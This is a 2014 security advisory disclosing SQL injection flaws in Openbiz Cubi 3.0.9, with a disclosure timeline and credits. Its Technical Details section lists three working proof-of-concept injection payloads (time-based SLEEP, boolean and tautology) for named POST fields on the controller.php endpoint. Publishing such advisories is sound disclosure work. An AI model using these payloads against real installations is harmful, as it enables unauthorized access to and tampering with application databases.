Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple SQL Injection Vulnerabilities in Openbiz Cubi
Affected Software: Openbiz Cubi
Affected Versions: 3.0.9 and possibly below
Vendor Homepage: http://www.openbiz.me/developer/cubi.php
Vulnerability Type: SQL Injection
Severity: Critical
Invicti Advisory Reference: NS-14-043

Description
--------------------
If your web application is vulnerable to SQL injection, a hacker is able to execute any malicious SQL query or command through the web application.

Technical Details
--------------------
Proof of Concept URLs for SQL Injection in Openbiz Cubi:

  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: username)
    '+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_username)
    -1 OR 17-7=10
  • http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_email)
    ' OR 'ns'='ns

For more information on SQL Injection vulnerabilities read the article SQL Injection.

Advisory Timeline
--------------------
27/06/2014 - First Contact
07/07/2014 - Second Contact
24/12/2014 - Advisory Released

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.